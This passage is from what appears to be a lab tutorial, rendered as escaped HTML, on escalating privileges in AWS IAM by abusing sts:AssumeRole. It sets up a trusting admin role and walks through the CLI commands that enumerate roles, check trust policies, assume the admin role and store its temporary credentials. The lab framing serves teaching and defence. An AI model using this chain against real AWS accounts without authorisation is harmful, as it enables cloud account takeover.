role&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;This means &lt;strong&gt;a low-privileged user may be able to switch to a high-privileged one&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;If an attacker can find a high-privileged role that can be assumed, they can &lt;strong&gt;use it to escalate their privileges&lt;/strong&gt;!&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn &amp;#34;arn:aws:iam::123456789012:role/AdminRole&amp;#34; --role-session-name attacker-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it succeeds, AWS returns &lt;strong&gt;a new set of temporary credentials&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Credentials&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;ASIA...&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;SECRET...&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SessionToken&amp;#34;: &amp;#34;TOKEN...&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Expiration&amp;#34;: &amp;#34;2025-03-04T00:00:00Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;In AWS, &lt;strong&gt;AssumeRole allows one IAM role to “become” another IAM role&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;🔹 &lt;strong&gt;Why is this important?&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;AWS does not let ordinary users access the &lt;code&gt;Administrator&lt;/code&gt; role directly, but some IAM roles can &lt;code&gt;Assume&lt;/code&gt; (switch to) a more privileged role.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;If your role has&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;permission, you can “become” an administrator!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;🔹 &lt;strong&gt;How does it work?&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;A low-privileged role (your current &lt;code&gt;EC2S3AccessRole&lt;/code&gt;) &lt;strong&gt;requests AssumeRole&lt;/strong&gt;, and AWS returns &lt;strong&gt;a set of temporary credentials&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;With these new credentials&lt;/strong&gt;, you can become a more privileged IAM role and access restricted resources.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;That is the theoretical framework. To put the idea in order: &lt;strong&gt;if you have&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;permission, you can switch to an administrator role&lt;/strong&gt;. But what if the current user does not have &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission? You need to find an IAM role that does, and that role must trust the IAM identity you currently hold before you can switch to it. Next, let’s build the lab.&lt;/p&gt;&#10;&lt;p&gt;Make sure you read this part: it is a little complicated, and I only spotted the problem toward the end of reproducing it. Having &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission alone does not let you switch to any user you like. The prerequisite is that the high-privileged role trusts the low-privileged role and the low-privileged role has &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission. That permission merely allows you to switch roles, nothing more. It is a bit like Linux: you first need permission to use &lt;code&gt;su&lt;/code&gt;, and the other user also needs to let you use &lt;code&gt;su&lt;/code&gt; without a password. It is a little awkward, so I reworked the lab setup tutorial below.&lt;/p&gt;&#10;&lt;h4 id="lab-setup"&gt;&lt;a href="#lab-setup" class="header-anchor"&gt;&lt;/a&gt;Lab Setup&#10;&lt;/h4&gt;&lt;p&gt;Add permissions to the previously created EC2S3AccessRole so it can list roles and inspect trust relationships. This lets EC2S3AccessRole find out which roles trust it. Then give it &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission so it has the equivalent of an &lt;code&gt;su&lt;/code&gt; capability.&lt;/p&gt;&#10;&lt;p&gt;EC2S3AccessRole needs permission to list roles. Without it, the role will not know who trusts it, will not be able to find the ARN, and will not be able to switch to a role that both trusts it and can be assumed through &lt;code&gt;sts:AssumeRole&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;The steps are as follows:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Search for IAM in the relevant section, then select ListRoles and GetRole. You can also use the JSON editor on the right; entering the configuration below there works just as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Sid&amp;#34;: &amp;#34;VisualEditor0&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Action&amp;#34;: &amp;#34;iam:GetRole&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:iam::6502*******:role/*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;},&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Sid&amp;#34;: &amp;#34;VisualEditor1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Action&amp;#34;: &amp;#34;iam:ListRoles&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Back on EC2, the test works without any problems. The current EC2S3AccessRole can now view IAM roles.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Next, attach&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;permission to EC2S3AccessRole&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Follow the same steps as before and continue with an inline policy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let me explain the Resource section (outlined in red) in a little more detail. It is fairly interesting if you want to take a look (the same option appeared above as well).&lt;/p&gt;&#10;&lt;p&gt;If you select all resources, you can attempt to switch to any role in AWS, including roles in any AWS account. The prerequisite is still that the other role trusts you. As long as its trust policy contains the ARN for this account, you can switch to it across accounts. This is commonly used by enterprises with multiple AWS accounts.&#10;&lt;strong&gt;If you choose specific resources, you can click the option to add an ARN and make your selection.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;As mentioned above, selecting all resources imposes no restriction. This option adds one by limiting access to a single AWS account. In other words, you can only switch to roles in the AWS account you specify that trust you. Even if a role in another account trusts you, you still cannot switch to it unless you remove this restriction. You could think of it as a kind of two-way authentication.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Just add it directly and select all paths for the current ARN resource.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The two policies are now ready. We still need to create a role. To make the privilege escalation obvious, give the new role permissions such as AdministratorAccess and configure it to trust EC2S3AccessRole.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, we can create the role. One detail is worth mentioning: when we selected the trusted entity at the beginning, we chose the current account. As a result, the new PrivilegeTest role trusts every role in our account. Our original goal, however, was to trust only EC2S3AccessRole. To do that, use the policy below, insert its ARN, and edit the trust policy to replace the original one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Principal&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AWS&amp;#34;: &amp;#34;arn:aws:iam::650251******:role/EC2S3AccessRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;sts:AssumeRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The lab environment is now fully set up.&lt;/p&gt;&#10;&lt;h4 id="reproduction-and-verification"&gt;&lt;a href="#reproduction-and-verification" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h4&gt;&lt;p&gt;Next, we will reproduce one attack chain. There are many ways to do this overall, so we will walk through one of them to demonstrate the principle.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles --query &amp;#34;Roles[*].Arn&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The text after --query is the query syntax; compare these two outputs to understand it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles --query &amp;#34;Roles[*].RoleName&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We found a whole list of roles. You may have plenty of questions at this point, but keep reading and I will explain them later. &lt;strong&gt;For now, the goal is simply to become familiar with this workflow.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;We already know that PrivilegeTest is the role that trusts our current role (EC2S3AccessRole), so let’s print its ARN.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles --query &amp;#34;Roles[?RoleName==&amp;#39;PrivilegeTest&amp;#39;].Arn&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles --query &amp;#34;Roles[?RoleName==&amp;#39;PrivilegeTest&amp;#39;].Arn&amp;#34; --output text&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This rule is also worth studying&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We now have the ARN. Although we already know that this role trusts us, we should still verify it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam get-role --role-name PrivilegeTest --query &amp;#34;Role.AssumeRolePolicyDocument&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—it does indeed trust us. We can now try to obtain the two keys for this high-privileged role.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn &amp;#34;arn:aws:iam::6502********:role/PrivilegeTest&amp;#34; --role-session-name test-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That works. We can write these credentials directly with the AWS CLI. There are many other ways to do this, but we cannot use the method from the beginning because it cannot store the token, which leaves the credentials unusable. The method below is probably the quickest and most convenient.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_access_key_id &amp;#34;ASIAxxxxxxxxxxxxx&amp;#34; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_secret_access_key &amp;#34;xxxxxxxxxxxxxxxxxx&amp;#34; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_session_token &amp;#34;xxxxxxxxxxxxxxxxxxx&amp;#34; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set region &amp;#34;us-east-2&amp;#34; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Once the values have been entered, simply verify the current identity. I will not run any other commands.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts get-caller-identity --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—the switch succeeded. From here, you could inspect the current permissions and then do whatever else you need to do.&lt;/p&gt;&#10;&lt;h4 id="additional-notes"&gt;&lt;a href="#additional-notes" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h4&gt;&lt;p&gt;This is also the most troublesome part. Now that the workflow is clear, let me go over it once more. When we first obtain credentials for a role, whether through IMDS or some other method, the first thing to try if its permissions are too limited is privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;First, use the current role and xxxx to query the names and ARNs of all roles with xxxx. Then use xxxx to find which roles trust you, and finally use xxxx to switch to an xxxx role that trusts you.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;I highlighted the key steps above. The first issue is listing all roles. As we saw while setting up the lab, we gave the current role permission to do this. But what if it does not have that permission? There are actually many other methods, but they rely on other permissions (one way or another, you need permissions). This method is relatively simple, which is why we granted it permission to list all roles. Second, once it can list everything, we still need to see which roles trust us. That is why we also granted permission to retrieve policies, allowing us to inspect the trust policies of other roles. Third, we gave it &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission so it could actually switch roles.&lt;/p&gt;&#10;&lt;p&gt;The most important step is listing all roles. You need to determine not only whether a role is highly privileged, but also whether it trusts the current role. Every piece of information you can think of has a corresponding permission that must be enabled before you can view it.&lt;/p&gt;&#10;&lt;p&gt;To inspect attached permission policies, you need &lt;strong&gt;iam list-attached-role-policies&lt;/strong&gt;. To inspect inline policies, you need &lt;strong&gt;iam list-role-policies&lt;/strong&gt;. Without those permissions, you cannot do anything. This additional section is the most important part: its main purpose is to show how to use whatever partial permissions are available to complete the attack chain.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Commands Required for the 